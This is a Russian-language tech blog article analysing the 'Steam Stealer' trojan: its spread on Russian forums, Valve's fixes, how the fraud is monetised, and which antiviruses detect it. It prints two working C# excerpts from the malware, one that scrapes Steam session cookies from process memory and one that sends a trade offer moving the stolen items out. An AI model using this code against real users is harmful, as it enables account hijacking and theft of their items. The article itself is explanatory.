Pull to refresh

Steam Stealer или троян, крадущий вещи в Steam. История появления и схема работы

Reading time 5 min
Views 65K
Написать статью побудила публикация «Троян, ворующий предметы из инвентаря Steam».
Моя статья содержит:
1) Историю появления и распространения в рунете;
2) Историю борьбы «Стима» с данным зловредом;
3) За счёт чего мошенники получают прибыль?
4) Что делают в стиме в связи с этими мошенничествами?
В статье нет полного исходного кода или ссылок, где можно его достать/купить. Кому интересно — добро пожаловать под кат.

История появления и распространения в рунете


Кто был первоначальным автором данного трояна — неизвестно, первые упоминания появились в Америке в начале этого года. В рунете же данный троян появился и начал активно распространяться только в середине-конце лета.

Программа и исходник появились в начале августа на одном популярном «читерском» портале. Два друга нашли собранный и накрытый троян, заметили, что он написан на C# и сумели вытянуть довольно запутанный, но рабочий исходный код. Далее был собран билдер и выложен на портал, через некоторое время был выложен и переписанный в человеческий вид и исходник. Начиная с этого момента упоминания о нём можно было найти везде. Только на очень ленивом и малоактивном форуме нельзя было найти если не копию рабочего исходника, то человека, продающего готовый «билд».

Общая схема работы:


Из процесса «Стима» регуляркой выдираются две cookie-записи SteamLogin и SteamLoginSecure:

WinApis.SYSTEM_INFO sYSTEM_INFO = default(WinApis.SYSTEM_INFO);
		while (sYSTEM_INFO.minimumApplicationAddress.ToInt32() == 0)
		{
			WinApis.GetSystemInfo(out sYSTEM_INFO);
		}
		IntPtr minimumApplicationAddress = sYSTEM_INFO.minimumApplicationAddress;
		long num = (long)minimumApplicationAddress.ToInt32();
		List<string> list = new List<string>();
		Process[] array = array = Process.GetProcessesByName("steam");
		Process process = null;
		for (int i = 0; i < array.Length; i++)
		{
			try
			{
				foreach (ProcessModule processModule in array[i].Modules)
				{
					if (processModule.FileName.EndsWith("steamclient.dll"))
					{
						process = array[i];
						break;
					}
				}
			}
			catch
			{
			}
		}
		if (process != null)
		{
			IntPtr handle = WinApis.OpenProcess(1040u, false, process.Id);
			WinApis.PROCESS_QUERY_INFORMATION pROCESS_QUERY_INFORMATION = default(WinApis.PROCESS_QUERY_INFORMATION);
			IntPtr intPtr = new IntPtr(0);
			while (WinApis.VirtualQueryEx(handle, minimumApplicationAddress, out pROCESS_QUERY_INFORMATION, 28u) != 0)
			{
				if (pROCESS_QUERY_INFORMATION.Protect == 4u && pROCESS_QUERY_INFORMATION.State == 4096u)
				{
					byte[] array2 = new byte[pROCESS_QUERY_INFORMATION.RegionSize];
					WinApis.ReadProcessMemory(handle, pROCESS_QUERY_INFORMATION.BaseAdress, array2, pROCESS_QUERY_INFORMATION.RegionSize, out intPtr);
					string @string = Encoding.UTF8.GetString(array2);
					MatchCollection matchCollection = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(@string);
					if (matchCollection.Count > 0)
					{
						foreach (Match match in matchCollection)
						{
							if (!list.Contains(match.Value))
							{
								list.Add(match.Value);
							}
						}
					}
				}
				num += (long)((ulong)pROCESS_QUERY_INFORMATION.RegionSize);
				if (num >= 2147483647L)
				{
					break;
				}
				minimumApplicationAddress = new IntPtr(num);
			}
			this.ParsedSteamCookies = list;
		}
	}

Дальше полученные данные подставляются в веб-запрос, который отправляется на сервер и получается сессия, ну и авторизация. После этого у программы теоретически есть полный доступ ко всем функциям клиента Steam. Получение списка итемов и отправка трейд-оффера была описана в предыдущей статье (код приведенный в той статье для отправки оффера — не рабочий).

История борьбы стима с данным зловредом


С августа Steam предпринимал уже две попытки борьбы с данным трояном. Хотя вторую сложно назвать реальной борьбой, скорее это был побочный эффект какого-то апдейта.

Фикс первый. Начало сентября

Как я уже упоминал выше, из клиента парсится 2 куки, но для отправки оффера (предложение обмена вещами с злоумышленником) достаточно было одной из них (SteamLoginSecure). Фикс от Steam заключался в том, что теперь нужны были обе. Как вы сами понимаете, «проблема» в работе стилера была найдена меньше чем за сутки всё теми же умельцами. Ну а еще через пару дней уже новое действующее лицо (не я) выложило исправленный исходный код в общий доступ.(впрочем, он сейчас сильно ругает этот свой поступок).

Фикс второй. 17 ноября

Честно говоря, не известно зачем, но Steam решили добавить 1 параметр в запрос на отправку оффера:

private string sentItems(string sessionID, string items, string[] Offer, string message = "")
	{
		return SteamHttp.SteamWebRequest(this.cookiesContainer, "tradeoffer/new/send", string.Concat(new string[]
		{
			"sessionid=",
			sessionID,
			"&partner=",
			Offer[0],
            "&serverid=1",
			"&tradeoffermessage=",
			Uri.EscapeDataString(message),
			"&json_tradeoffer=",
			Uri.EscapeDataString(string.Format("{5}\"newversion\":true,\"version\":2,\"me\":{5}\"assets\":[{3}],\"currency\":[],\"ready\":false{6},\"them\":{5}\"assets\":[],\"currency\":[],\"ready\":false{6}{6}", new object[]
			{
				sessionID,
				Offer[0],
				message,
				items,
				Offer[2],
				"{",
				"}"
			})),
			"&trade_offer_create_params=",
			Uri.EscapeDataString(string.Format("{0}\"trade_offer_access_token\":\"{2}\"{1}", "{", "}", Offer[2]))
		}), "tradeoffer/new/?partner=" + Offer[1] + "&token=" + Offer[2]);
	}

А конкретно — параметр «serverid=1». Зачем он нужен и для чего его добавили надо спрашивать у разработчиков «Стима», но других запросов где он мог бы использовался я не находил.

Хотя обьяснить «ленивые» фиксы от стима довольно просто.

За счёт чего мошенники (и стим!) получают прибыль?


Все игровые ценности, которые получают мошенники, продают по сниженной цене на торговой площадке. Тут я хочу напомнить, что Steam получает 5% со всех операций на торговой площадке. И 10% получает разработчик игры, айтем которой был продан. Учитывая, что разработчиком самых популярных игр с итемами и сервиса Steam является компания Valve, вполне логично, что они не будут особо торопиться с фиксом, получая еще 15% с каждого проданного итема.

Дальше мошенники разными способами уже выводят деньги из «Стима». Так как напрямую это сделать нельзя, они используют для продажи ценности самого сервиса Steam. Например, ключи или игры (насколько мне известно, они получают примерно 50-65 центов с доллара).

Что делают в Steam в связи с этими мошенничествами?


На блокировку аккаунта (а вернее на блокировку операций покупки/продажи/обмена), на который скидываются вещи, у Steam уходит до 7 дней. За это время злоумышленники чаще всего успевают избавиться от полученных итемов и вывести средства с аккаунта. Если аккаунт блокирован, с него уже ничего нельзя вывести. Максимум — играть в те игры, что на нём.
Надо сказать, что в «Стиме» есть практика возврата украденных вещей, если они не были проданы на торговой площадке. Но, допустим, с российской поддержкой на это ушел месяц:

image

Эпилог


Сам распространением не занимался. Вся информация взята от людей, которые занимаются разработкой или распространением. Цены на данный софт вполне либеральные: 500-1000р за программку, в которую вшит аккаунт. Исходник от 3.5к рублей и выше — в зависимости от того, покупается ли этот исходник у разработчика или у школьника, который его купил и теперь перепродаёт. В данный момент знаю о примерно 4х разных разработчиках. Впрочем, между собой их продукты практически ничем не отличаются.

Ну и напоследок. Лучшие антивирусы на данный момент по определению таких программ — это Avira, Kaspersky, Eset Nod32. Они определяют свежие и довольно прилично обфусцированные/накрытые версии трояна, впрочем, не всегда. Остальные реагируют довольно долго. Даже простая обфускация .Net приложения смущает большинство антивирусов.
Tags:
Hubs:
+4
Comments 14
Comments Comments 14

Articles